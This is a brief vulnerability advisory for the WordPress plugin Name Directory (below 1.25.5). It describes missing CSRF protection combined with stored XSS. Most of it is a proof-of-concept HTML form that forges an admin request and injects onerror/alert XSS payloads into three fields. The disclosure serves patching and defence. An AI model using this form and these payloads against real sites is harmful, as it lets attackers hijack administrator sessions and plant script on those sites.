Name Directory < 1.25.5 – Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check when adding/editing names, and is also lacking sanitisation as well as escaping in some of the fields, which could allow attackers to make a logged in admin edit arbitrary names and put XSS payloads in them.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="directory" value="1" />
      <input type="hidden" name="action" value="name_directory_ajax_names" />
      <input type="hidden" name="input_mode" value="on" />
      <input type="hidden" name="name" value='"><img src onerror=alert(/XSS-name/)>' />
      <input type="hidden" name="description" value="</textarea><img src onerror=alert(/XSS-desc/)>" />
      <input type="hidden" name="published" value="1" />
      <input type="hidden" name="submitted_by" value='"><img src onerror=alert(/XSS-sub/)>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>